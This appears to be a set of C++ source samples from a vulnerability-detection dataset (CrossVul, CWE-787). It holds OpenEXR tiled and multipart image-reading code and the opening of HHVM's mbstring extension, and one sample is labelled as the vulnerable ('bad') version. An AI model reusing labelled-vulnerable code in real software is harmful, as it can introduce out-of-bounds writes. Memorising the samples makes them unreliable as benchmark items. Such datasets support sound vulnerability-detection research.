Now we check if any tile buffer contains a stored exception; if // this is the case then we re-throw the exception in this thread. // (It is possible that multiple tile buffers contain stored // exceptions. We re-throw the first exception we find and // ignore all others.) // const string *exception = 0; for (size_t i = 0; i < _data->tileBuffers.size(); ++i) { TileBuffer *tileBuffer = _data->tileBuffers[i]; if (tileBuffer->hasException && !exception) exception = &tileBuffer->exception; tileBuffer->hasException = false; } if (exception) throw IEX_NAMESPACE::IoExc (*exception); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error reading pixel data from image " "file \"" << fileName() << "\". " << e.what()); throw; } } void TiledInputFile::readTiles (int dx1, int dx2, int dy1, int dy2, int l) { readTiles (dx1, dx2, dy1, dy2, l, l); } void TiledInputFile::readTile (int dx, int dy, int lx, int ly) { readTiles (dx, dx, dy, dy, lx, ly); } void TiledInputFile::readTile (int dx, int dy, int l) { readTile (dx, dy, l, l); } void TiledInputFile::rawTileData (int &dx, int &dy, int &lx, int &ly, const char *&pixelData, int &pixelDataSize) { try { Lock lock (*_data->_streamData); if (!isValidTile (dx, dy, lx, ly)) throw IEX_NAMESPACE::ArgExc ("Tried to read a tile outside " "the image file's data window."); TileBuffer *tileBuffer = _data->getTileBuffer (0); // // if file is a multipart file, we have to seek to the required tile // since we don't know where the file pointer is // int old_dx=dx; int old_dy=dy; int old_lx=lx; int old_ly=ly; if(isMultiPart(version())) { _data->_streamData->is->seekg(_data->tileOffsets(dx,dy,lx,ly)); } readNextTileData (_data->_streamData, _data, dx, dy, lx, ly, tileBuffer->buffer, pixelDataSize); if(isMultiPart(version())) { if (old_dx!=dx || old_dy !=dy || old_lx!=lx || old_ly!=ly) { throw IEX_NAMESPACE::ArgExc ("rawTileData read the wrong tile"); } } pixelData = tileBuffer->buffer; } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error reading pixel data from image " "file \"" << fileName() << "\". " << e.what()); throw; } } unsigned int TiledInputFile::tileXSize () const { return _data->tileDesc.xSize; } unsigned int TiledInputFile::tileYSize () const { return _data->tileDesc.ySize; } LevelMode TiledInputFile::levelMode () const { return _data->tileDesc.mode; } LevelRoundingMode TiledInputFile::levelRoundingMode () const { return _data->tileDesc.roundingMode; } int TiledInputFile::numLevels () const { if (levelMode() == RIPMAP_LEVELS) THROW (IEX_NAMESPACE::LogicExc, "Error calling numLevels() on image " "file \"" << fileName() << "\" " "(numLevels() is not defined for files " "with RIPMAP level mode)."); return _data->numXLevels; } int TiledInputFile::numXLevels () const { return _data->numXLevels; } int TiledInputFile::numYLevels () const { return _data->numYLevels; } bool TiledInputFile::isValidLevel (int lx, int ly) const { if (lx < 0 || ly < 0) return false; if (levelMode() == MIPMAP_LEVELS && lx != ly) return false; if (lx >= numXLevels() || ly >= numYLevels()) return false; return true; } int TiledInputFile::levelWidth (int lx) const { try { return levelSize (_data->minX, _data->maxX, lx, _data->tileDesc.roundingMode); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error calling levelWidth() on image " "file \"" << fileName() << "\". " << e.what()); throw; } } int TiledInputFile::levelHeight (int ly) const { try { return levelSize (_data->minY, _data->maxY, ly, _data->tileDesc.roundingMode); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error calling levelHeight() on image " "file \"" << fileName() << "\". " << e.what()); throw; } } int TiledInputFile::numXTiles (int lx) const { if (lx < 0 || lx >= _data->numXLevels) { THROW (IEX_NAMESPACE::ArgExc, "Error calling numXTiles() on image " "file \"" << _data->_streamData->is->fileName() << "\" " "(Argument is not in valid range)."); } return _data->numXTiles[lx]; } int TiledInputFile::numYTiles (int ly) const { if (ly < 0 || ly >= _data->numYLevels) { THROW (IEX_NAMESPACE::ArgExc, "Error calling numYTiles() on image " "file \"" << _data->_streamData->is->fileName() << "\" " "(Argument is not in valid range)."); } return _data->numYTiles[ly]; } Box2i TiledInputFile::dataWindowForLevel (int l) const { return dataWindowForLevel (l, l); } Box2i TiledInputFile::dataWindowForLevel (int lx, int ly) const { try { return OPENEXR_IMF_INTERNAL_NAMESPACE::dataWindowForLevel ( _data->tileDesc, _data->minX, _data->maxX, _data->minY, _data->maxY, lx, ly); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error calling dataWindowForLevel() on image " "file \"" << fileName() << "\". " << e.what()); throw; } } Box2i TiledInputFile::dataWindowForTile (int dx, int dy, int l) const { return dataWindowForTile (dx, dy, l, l); } Box2i TiledInputFile::dataWindowForTile (int dx, int dy, int lx, int ly) const { try { if (!isValidTile (dx, dy, lx, ly)) throw IEX_NAMESPACE::ArgExc ("Arguments not in valid range."); return OPENEXR_IMF_INTERNAL_NAMESPACE::dataWindowForTile ( _data->tileDesc, _data->minX, _data->maxX, _data->minY, _data->maxY, dx, dy, lx, ly); } catch (IEX_NAMESPACE::BaseExc &e) { REPLACE_EXC (e, "Error calling dataWindowForTile() on image " "file \"" << fileName() << "\". " << e.what()); throw; } } bool TiledInputFile::isValidTile (int dx, int dy, int lx, int ly) const { return ((lx < _data->numXLevels && lx >= 0) && (ly < _data->numYLevels && ly >= 0) && (dx < _data->numXTiles[lx] && dx >= 0) && (dy < _data->numYTiles[ly] && dy >= 0)); } void TiledInputFile::tileOrder(int dx[], int dy[], int lx[], int ly[]) const { return _data->tileOffsets.getTileOrder(dx,dy,lx,ly); } OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_EXIT
./CrossVul/dataset_final_sorted/CWE-787/cpp/bad_4245_0
crossvul-cpp_data_good_4243_0
/////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2011, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #include "ImfMultiPartInputFile.h" #include "ImfTimeCodeAttribute.h" #include "ImfChromaticitiesAttribute.h" #include "ImfBoxAttribute.h" #include "ImfFloatAttribute.h" #include "ImfStdIO.h" #include "ImfTileOffsets.h" #include "ImfMisc.h" #include "ImfTiledMisc.h" #include "ImfInputStreamMutex.h" #include "ImfInputPartData.h" #include "ImfPartType.h" #include "ImfInputFile.h" #include "ImfScanLineInputFile.h" #include "ImfTiledInputFile.h" #include "ImfDeepScanLineInputFile.h" #include "ImfDeepTiledInputFile.h" #include "ImfVersion.h" #include <OpenEXRConfig.h> #include <IlmThread.h> #include <IlmThreadMutex.h> #include <Iex.h> #include <map> #include <set> OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_ENTER using ILMTHREAD_NAMESPACE::Mutex; using ILMTHREAD_NAMESPACE::Lock; using IMATH_NAMESPACE::Box2i; using std::vector; using std::map; using std::set; using std::string; namespace { // Controls whether we error out in the event of shared attribute // inconsistency in the input file static const bool strictSharedAttribute = true; } struct MultiPartInputFile::Data: public InputStreamMutex { int version; // Version of this file. bool deleteStream; // If we should delete the stream during destruction. vector<InputPartData*> parts; // Data to initialize Output files. int numThreads; // Number of threads bool reconstructChunkOffsetTable; // If we should reconstruct // the offset table if it's broken. std::map<int,GenericInputFile*> _inputFiles; std::vector<Header> _headers; void chunkOffsetReconstruction(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is, const std::vector<InputPartData*>& parts); void readChunkOffsetTables(bool reconstructChunkOffsetTable); bool checkSharedAttributesValues(const Header & src, const Header & dst, std::vector<std::string> & conflictingAttributes) const; TileOffsets* createTileOffsets(const Header& header); InputPartData* getPart(int partNumber); Data (bool deleteStream, int numThreads, bool reconstructChunkOffsetTable): InputStreamMutex(), deleteStream (deleteStream), numThreads (numThreads), reconstructChunkOffsetTable(reconstructChunkOffsetTable) { } ~Data() { if (deleteStream) delete is; for (size_t i = 0; i < parts.size(); i++) delete parts[i]; } template <class T> T* createInputPartT(int partNumber) { } }; MultiPartInputFile::MultiPartInputFile(const char fileName[], int numThreads, bool reconstructChunkOffsetTable): _data(new Data(true, numThreads, reconstructChunkOffsetTable)) { try { _data->is = new StdIFStream (fileName); initialize(); } catch (IEX_NAMESPACE::BaseExc &e) { delete _data; REPLACE_EXC (e, "Cannot read image file " "\"" << fileName << "\". " << e.what()); throw; } catch (...) { delete _data; throw; } } MultiPartInputFile::MultiPartInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is, int numThreads, bool reconstructChunkOffsetTable): _data(new Data(false, numThreads, reconstructChunkOffsetTable)) { try { _data->is = &is; initialize(); } catch (IEX_NAMESPACE::BaseExc &e) { delete _data; REPLACE_EXC (e, "Cannot read image file " "\"" << is.fileName() << "\". " << e.what()); throw; } catch (...) { delete _data; throw; } } template<class T> T* MultiPartInputFile::getInputPart(int partNumber) { Lock lock(*_data); if (_data->_inputFiles.find(partNumber) == _data->_inputFiles.end()) { T* file = new T(_data->getPart(partNumber)); _data->_inputFiles.insert(std::make_pair(partNumber, (GenericInputFile*) file)); return file; } else return (T*) _data->_inputFiles[partNumber]; } template InputFile* MultiPartInputFile::getInputPart<InputFile>(int); template TiledInputFile* MultiPartInputFile::getInputPart<TiledInputFile>(int); template DeepScanLineInputFile* MultiPartInputFile::getInputPart<DeepScanLineInputFile>(int); template DeepTiledInputFile* MultiPartInputFile::getInputPart<DeepTiledInputFile>(int); InputPartData* MultiPartInputFile::getPart(int partNumber) { return _data->getPart(partNumber); } const Header & MultiPartInputFile::header(int n) const { return _data->_headers[n]; } MultiPartInputFile::~MultiPartInputFile() { for (map<int, GenericInputFile*>::iterator it = _data->_inputFiles.begin(); it != _data->_inputFiles.end(); it++) { delete it->second; } delete _data; } bool MultiPartInputFile::Data::checkSharedAttributesValues(const Header & src, const Header & dst, vector<string> & conflictingAttributes) const { conflictingAttributes.clear(); bool conflict = false; // // Display Window // if (src.displayWindow() != dst.displayWindow()) { conflict = true; conflictingAttributes.push_back ("displayWindow"); } // // Pixel Aspect Ratio // if (src.pixelAspectRatio() != dst.pixelAspectRatio()) { conflict = true; conflictingAttributes.push_back ("pixelAspectRatio"); } // // Timecode // const TimeCodeAttribute * srcTimeCode = src.findTypedAttribute< TimeCodeAttribute> (TimeCodeAttribute::staticTypeName()); const TimeCodeAttribute * dstTimeCode = dst.findTypedAttribute< TimeCodeAttribute> (TimeCodeAttribute::staticTypeName()); if (dstTimeCode) { if ( (srcTimeCode && (srcTimeCode->value() != dstTimeCode->value())) || (!srcTimeCode)) { conflict = true; conflictingAttributes.push_back (TimeCodeAttribute::staticTypeName()); } } // // Chromaticities // const ChromaticitiesAttribute * srcChrom = src.findTypedAttribute< ChromaticitiesAttribute> (ChromaticitiesAttribute::staticTypeName()); const ChromaticitiesAttribute * dstChrom = dst.findTypedAttribute< ChromaticitiesAttribute> (ChromaticitiesAttribute::staticTypeName()); if (dstChrom) { if ( (srcChrom && (srcChrom->value() != dstChrom->value())) || (!srcChrom)) { conflict = true; conflictingAttributes.push_back (ChromaticitiesAttribute::staticTypeName()); } } return conflict; } void MultiPartInputFile::initialize() { readMagicNumberAndVersionField(*_data->is, _data->version); bool multipart = isMultiPart(_data->version); bool tiled = isTiled(_data->version); // // Multipart files don't have and shouldn't have the tiled bit set. // if (tiled && multipart) throw IEX_NAMESPACE::InputExc ("Multipart files cannot have the tiled bit set"); int pos = 0; while (true) { Header header; header.readFrom(*_data->is, _data->version); // // If we read nothing then we stop reading. // if (header.readsNothing()) { pos++; break; } _data->_headers.push_back(header); if(multipart == false) break; } // // Perform usual check on headers. // for (size_t i = 0; i < _data->_headers.size(); i++) { // // Silently invent a type if the file is a single part regular image. // if( _data->_headers[i].hasType() == false ) { if(multipart) throw IEX_NAMESPACE::ArgExc ("Every header in a multipart file should have a type"); _data->_headers[i].setType(tiled ? TILEDIMAGE : SCANLINEIMAGE); } else { // // Silently fix the header type if it's wrong // (happens when a regular Image file written by EXR_2.0 is rewritten by an older library, // so doesn't effect deep image types) // if(!multipart && !isNonImage(_data->version)) { _data->_headers[i].setType(tiled ? TILEDIMAGE : SCANLINEIMAGE); } } if( _data->_headers[i].hasName() == false ) { if(multipart) throw IEX_NAMESPACE::ArgExc ("Every header in a multipart file should have a name"); } if (isTiled(_data->_headers[i].type())) _data->_headers[i].sanityCheck(true, multipart); else _data->_headers[i].sanityCheck(false, multipart); } // // Check name uniqueness. // if (multipart) { set<string> names; for (size_t i = 0; i < _data->_headers.size(); i++) { if (names.find(_data->_headers[i].name()) != names.end()) { throw IEX_NAMESPACE::InputExc ("Header name " + _data->_headers[i].name() + " is not a unique name."); } names.insert(_data->_headers[i].name()); } } // // Check shared attributes compliance. // if (multipart && strictSharedAttribute) { for (size_t i = 1; i < _data->_headers.size(); i++) { vector <string> attrs; if (_data->checkSharedAttributesValues (_data->_headers[0], _data->_headers[i], attrs)) { string attrNames; for (size_t j=0; j<attrs.size(); j++) attrNames += " " + attrs[j]; throw IEX_NAMESPACE::InputExc ("Header name " + _data->_headers[i].name() + " has non-conforming shared attributes: "+ attrNames); } } } // // Create InputParts and read chunk offset tables. // for (size_t i = 0; i < _data->_headers.size(); i++) _data->parts.push_back( new InputPartData(_data, _data->_headers[i], i, _data->numThreads, _data->version)); _data->readChunkOffsetTables(_data->reconstructChunkOffsetTable); } TileOffsets* MultiPartInputFile::Data::createTileOffsets(const Header& header) { // // Get the dataWindow information // const Box2i &dataWindow = header.dataWindow(); int minX = dataWindow.min.x; int maxX = dataWindow.max.x; int minY = dataWindow.min.y; int maxY = dataWindow.max.y; // // Precompute level and tile information // int* numXTiles; int* numYTiles; int numXLevels, numYLevels; TileDescription tileDesc = header.tileDescription(); precalculateTileInfo (tileDesc, minX, maxX, minY, maxY, numXTiles, numYTiles, numXLevels, numYLevels); TileOffsets* tileOffsets = new TileOffsets (tileDesc.mode, numXLevels, numYLevels, numXTiles, numYTiles); delete [] numXTiles; delete [] numYTiles; return tileOffsets; } void MultiPartInputFile::Data::chunkOffsetReconstruction(OPENEXR_IMF_INTERNAL_NAMESPACE::IStream& is, const vector<InputPartData*>& parts) { // // Reconstruct broken chunk offset tables. Stop once we received any exception. // Int64 position = is.tellg(); // // check we understand all the parts available: if not, we cannot continue // exceptions thrown here should trickle back up to the constructor // for (size_t i = 0; i < parts.size(); i++) { Header& header=parts[i]->header; // // do we have a valid type entry? // we only need them for true multipart files or single part non-image (deep) files // if(!header.hasType() && (isMultiPart(version) || isNonImage(version))) { throw IEX_NAMESPACE::ArgExc("cannot reconstruct incomplete file: part with missing type"); } if(!isSupportedType(header.type())) { throw IEX_NAMESPACE::ArgExc("cannot reconstruct incomplete file: part with unknown type "+header.type()); } } // how many chunks should we read? We should stop when we reach the end size_t total_chunks = 0; // for tiled-based parts, array of (pointers to) tileOffsets objects // to create mapping between tile coordinates and chunk table indices vector<TileOffsets*> tileOffsets(parts.size()); // for scanline-based parts, number of scanlines in each chunk vector<int> rowsizes(parts.size()); for(size_t i = 0 ; i < parts.size() ; i++) { total_chunks += parts[i]->chunkOffsets.size(); if (isTiled(parts[i]->header.type())) { tileOffsets[i] = createTileOffsets(parts[i]->header); }else{ tileOffsets[i] = NULL; // (TODO) fix this so that it doesn't need to be revised for future compression types. switch(parts[i]->header.compression()) { case DWAB_COMPRESSION : rowsizes[i] = 256; break; case PIZ_COMPRESSION : case B44_COMPRESSION : case B44A_COMPRESSION : case DWAA_COMPRESSION : rowsizes[i]=32; break; case ZIP_COMPRESSION : case PXR24_COMPRESSION : rowsizes[i]=16; break; case ZIPS_COMPRESSION : case RLE_COMPRESSION : case NO_COMPRESSION : rowsizes[i]=1; break; default : throw(IEX_NAMESPACE::ArgExc("Unknown compression method in chunk offset reconstruction")); } } } try { // // // Int64 chunk_start = position; for (size_t i = 0; i < total_chunks ; i++) { // // do we have a part number? // int partNumber = 0; if(isMultiPart(version)) { OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, partNumber); } if(partNumber<0 || partNumber>= static_cast<int>(parts.size())) { throw IEX_NAMESPACE::IoExc("part number out of range"); } Header& header = parts[partNumber]->header; // size of chunk NOT including multipart field Int64 size_of_chunk=0; if (isTiled(header.type())) { // // // int tilex,tiley,levelx,levely; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, tilex); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, tiley); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, levelx); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, levely); //std::cout << "chunk_start for " << tilex <<',' << tiley << ',' << levelx << ' ' << levely << ':' << chunk_start << std::endl; if(!tileOffsets[partNumber]) { // this shouldn't actually happen - we should have allocated a valid // tileOffsets for any part which isTiled throw IEX_NAMESPACE::IoExc("part not tiled"); } if(!tileOffsets[partNumber]->isValidTile(tilex,tiley,levelx,levely)) { throw IEX_NAMESPACE::IoExc("invalid tile coordinates"); } (*tileOffsets[partNumber])(tilex,tiley,levelx,levely)=chunk_start; // compute chunk sizes - different procedure for deep tiles and regular // ones if(header.type()==DEEPTILE) { Int64 packed_offset; Int64 packed_sample; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, packed_offset); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, packed_sample); //add 40 byte header to packed sizes (tile coordinates, packed sizes, unpacked size) size_of_chunk=packed_offset+packed_sample+40; } else { // regular image has 20 bytes of header, 4 byte chunksize; int chunksize; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, chunksize); size_of_chunk=chunksize+20; } } else { int y_coordinate; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, y_coordinate); if(y_coordinate < header.dataWindow().min.y || y_coordinate > header.dataWindow().max.y) { throw IEX_NAMESPACE::IoExc("y out of range"); } y_coordinate -= header.dataWindow().min.y; y_coordinate /= rowsizes[partNumber]; if(y_coordinate < 0 || y_coordinate >= int(parts[partNumber]->chunkOffsets.size())) { throw IEX_NAMESPACE::IoExc("chunk index out of range"); } parts[partNumber]->chunkOffsets[y_coordinate]=chunk_start; if(header.type()==DEEPSCANLINE) { Int64 packed_offset; Int64 packed_sample; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, packed_offset); OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, packed_sample); size_of_chunk=packed_offset+packed_sample+28; } else { int chunksize; OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (is, chunksize); size_of_chunk=chunksize+8; } } if(isMultiPart(version)) { chunk_start+=4; } chunk_start+=size_of_chunk; is.seekg(chunk_start); } } catch (...) { // // Suppress all exceptions. This functions is // called only to reconstruct the line offset // table for incomplete files, and exceptions // are likely. // } // copy tiled part data back to chunk offsets for(size_t partNumber=0;partNumber<parts.size();partNumber++) { if(tileOffsets[partNumber]) { size_t pos=0; vector<vector<vector <Int64> > > offsets = tileOffsets[partNumber]->getOffsets(); for (size_t l = 0; l < offsets.size(); l++) for (size_t y = 0; y < offsets[l].size(); y++) for (size_t x = 0; x < offsets[l][y].size(); x++) { parts[ partNumber ]->chunkOffsets[pos] = offsets[l][y][x]; pos++; } delete tileOffsets[partNumber]; } } is.clear(); is.seekg (position); } InputPartData* MultiPartInputFile::Data::getPart(int partNumber) { if (partNumber < 0 || partNumber >= (int) parts.size()) throw IEX_NAMESPACE::ArgExc ("Part number is not in valid range."); return parts[partNumber]; } void MultiPartInputFile::Data::readChunkOffsetTables(bool reconstructChunkOffsetTable) { bool brokenPartsExist = false; for (size_t i = 0; i < parts.size(); i++) { int chunkOffsetTableSize = getChunkOffsetTableSize(parts[i]->header,false); parts[i]->chunkOffsets.resize(chunkOffsetTableSize); for (int j = 0; j < chunkOffsetTableSize; j++) OPENEXR_IMF_INTERNAL_NAMESPACE::Xdr::read <OPENEXR_IMF_INTERNAL_NAMESPACE::StreamIO> (*is, parts[i]->chunkOffsets[j]); // // Check chunk offsets, reconstruct if broken. // At first we assume the table is complete. // parts[i]->completed = true; for (int j = 0; j < chunkOffsetTableSize; j++) { if (parts[i]->chunkOffsets[j] <= 0) { brokenPartsExist = true; parts[i]->completed = false; break; } } } if (brokenPartsExist && reconstructChunkOffsetTable) chunkOffsetReconstruction(*is, parts); } int MultiPartInputFile::version() const { return _data->version; } bool MultiPartInputFile::partComplete(int part) const { return _data->parts[part]->completed; } int MultiPartInputFile::parts() const { return int(_data->_headers.size()); } OPENEXR_IMF_INTERNAL_NAMESPACE_SOURCE_EXIT
./CrossVul/dataset_final_sorted/CWE-787/cpp/good_4243_0
crossvul-cpp_data_good_5228_0
/* +----------------------------------------------------------------------+ | HipHop for PHP | +----------------------------------------------------------------------+ | Copyright (c) 2010-2016 Facebook, Inc. (http://www.facebook.com) | | Copyright (c) 1997-2010 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ */ #include "hphp/runtime/ext/mbstring/ext_mbstring.h" #include "hphp/runtime/base/string-buffer.h" #include "hphp/runtime/base/request-local.h" #include "hphp/runtime/ext/mbstring/php_unicode.h" #include "hphp/runtime/ext/mbstring/unicode_data.h" #include "hphp/runtime/ext/string/ext_string.h" #include "hphp/runtime/ext/std/ext_std_output.h" #include "hphp/runtime/base/array-init.h" #include "hphp/runtime/base/zend-url.h" #include "hphp/runtime/base/zend-string.h" #include "hphp/runtime/base/ini-setting.h" #include "hphp/runtime/base/request-event-handler.h" extern "C" { #include <mbfl/mbfl_convert.h> #include <mbfl/mbfilter.h> #include <mbfl/mbfilter_pass.h> #include <oniguruma.h> #include <map> } #define php_mb_re_pattern_buffer re_pattern_buffer #define php_mb_regex_t regex_t #define php_mb_re_registers re_registers extern void mbfl_memory_device_unput(mbfl_memory_device *device); #define PARSE_POST 0 #define PARSE_GET 1 #define PARSE_COOKIE 2 #define PARSE_STRING 3 #define PARSE_ENV 4 #define PARSE_SERVER 5 #define PARSE_SESSION 6 namespace HPHP { /////////////////////////////////////////////////////////////////////////////// // statics #define PHP_MBSTR_STACK_BLOCK_SIZE 32 typedef struct _php_mb_nls_ident_list { mbfl_no_language lang; mbfl_no_encoding* list; int list_size; } php_mb_nls_ident_list; static mbfl_no_encoding php_mb_default_identify_list_ja[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_jis, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_jp, mbfl_no_encoding_sjis }; static mbfl_no_encoding php_mb_default_identify_list_cn[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_cn, mbfl_no_encoding_cp936 }; static mbfl_no_encoding php_mb_default_identify_list_tw_hk[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_tw, mbfl_no_encoding_big5 }; static mbfl_no_encoding php_mb_default_identify_list_kr[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_euc_kr, mbfl_no_encoding_uhc }; static mbfl_no_encoding php_mb_default_identify_list_ru[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_koi8r, mbfl_no_encoding_cp1251, mbfl_no_encoding_cp866 }; static mbfl_no_encoding php_mb_default_identify_list_hy[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_armscii8 }; static mbfl_no_encoding php_mb_default_identify_list_tr[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8, mbfl_no_encoding_8859_9 }; static mbfl_no_encoding php_mb_default_identify_list_neut[] = { mbfl_no_encoding_ascii, mbfl_no_encoding_utf8 }; static php_mb_nls_ident_list php_mb_default_identify_list[] = { { mbfl_no_language_japanese, php_mb_default_identify_list_ja, sizeof(php_mb_default_identify_list_ja) / sizeof(php_mb_default_identify_list_ja[0]) }, { mbfl_no_language_korean, php_mb_default_identify_list_kr, sizeof(php_mb_default_identify_list_kr) / sizeof(php_mb_default_identify_list_kr[0]) }, { mbfl_no_language_traditional_chinese, php_mb_default_identify_list_tw_hk, sizeof(php_mb_default_identify_list_tw_hk) / sizeof(php_mb_default_identify_list_tw_hk[0]) }, { mbfl_no_language_simplified_chinese, php_mb_default_identify_list_cn, sizeof(php_mb_default_identify_list_cn) / sizeof(php_mb_default_identify_list_cn[0]) }, { mbfl_no_language_russian, php_mb_default_identify_list_ru, sizeof(php_mb_default_identify_list_ru) / sizeof(php_mb_default_identify_list_ru[0]) }, { mbfl_no_language_armenian, php_mb_default_identify_list_hy, sizeof(php_mb_default_identify_list_hy) / sizeof(php_mb_default_identify_list_hy[0]) }, { mbfl_no_language_turkish, php_mb_default_identify_list_tr, sizeof(php_mb_default_identify_list_tr) / sizeof(php_mb_default_identify_list_tr[0]) }, { mbfl_no_language_neutral, php_mb_default_identify_list_neut, sizeof(php_mb_default_identify_list_neut) / sizeof(php_mb_default_identify_list_neut[0]) } }; /////////////////////////////////////////////////////////////////////////////// // globals typedef std::map<std::string, php_mb_regex_t *> RegexCache; struct MBGlobals final : RequestEventHandler { mbfl_no_language language; mbfl_no_language current_language; mbfl_encoding *internal_encoding; mbfl_encoding *current_internal_encoding; mbfl_encoding *http_output_encoding; mbfl_encoding *current_http_output_encoding; mbfl_encoding *http_input_identify; mbfl_encoding *http_input_identify_get; mbfl_encoding *http_input_identify_post; mbfl_encoding *http_input_identify_cookie; mbfl_encoding *http_input_identify_string; mbfl_encoding **http_input_list; int http_input_list_size; mbfl_encoding **detect_order_list; int detect_order_list_size; mbfl_encoding **current_detect_order_list; int current_detect_order_list_size; mbfl_no_encoding *default_detect_order_list; int default_detect_order_list_size; int filter_illegal_mode; int filter_illegal_substchar; int current_filter_illegal_mode; int current_filter_illegal_substchar; bool encoding_translation; long strict_detection; long illegalchars; mbfl_buffer_converter *outconv; OnigEncoding default_mbctype; OnigEncoding current_mbctype; RegexCache ht_rc; std::string search_str; unsigned int search_pos; php_mb_regex_t *search_re; OnigRegion *search_regs; OnigOptionType regex_default_options; OnigSyntaxType *regex_default_syntax; void vscan(IMarker& mark) const override { } MBGlobals() : language(mbfl_no_language_uni), current_language(mbfl_no_language_uni), internal_encoding((mbfl_encoding*) mbfl_no2encoding(mbfl_no_encoding_utf8)), current_internal_encoding(internal_encoding), http_output_encoding((mbfl_encoding*) &mbfl_encoding_pass), current_http_output_encoding((mbfl_encoding*) &mbfl_encoding_pass), http_input_identify(nullptr), http_input_identify_get(nullptr), http_input_identify_post(nullptr), http_input_identify_cookie(nullptr), http_input_identify_string(nullptr), http_input_list(nullptr), http_input_list_size(0), detect_order_list(nullptr), detect_order_list_size(0), current_detect_order_list(nullptr), current_detect_order_list_size(0), default_detect_order_list ((mbfl_no_encoding *)php_mb_default_identify_list_neut), default_detect_order_list_size (sizeof(php_mb_default_identify_list_neut) / sizeof(php_mb_default_identify_list_neut[0])), filter_illegal_mode(MBFL_OUTPUTFILTER_ILLEGAL_MODE_CHAR), filter_illegal_substchar(0x3f), /* '?' */ current_filter_illegal_mode(MBFL_OUTPUTFILTER_ILLEGAL_MODE_CHAR), current_filter_illegal_substchar(0x3f), /* '?' */ encoding_translation(0), strict_detection(0), illegalchars(0), outconv(nullptr), default_mbctype(ONIG_ENCODING_EUC_JP), current_mbctype(ONIG_ENCODING_EUC_JP), search_pos(0), search_re((php_mb_regex_t*)nullptr), search_regs((OnigRegion*)nullptr), regex_default_options(ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE), regex_default_syntax(ONIG_SYNTAX_RUBY) { } void requestInit() override { 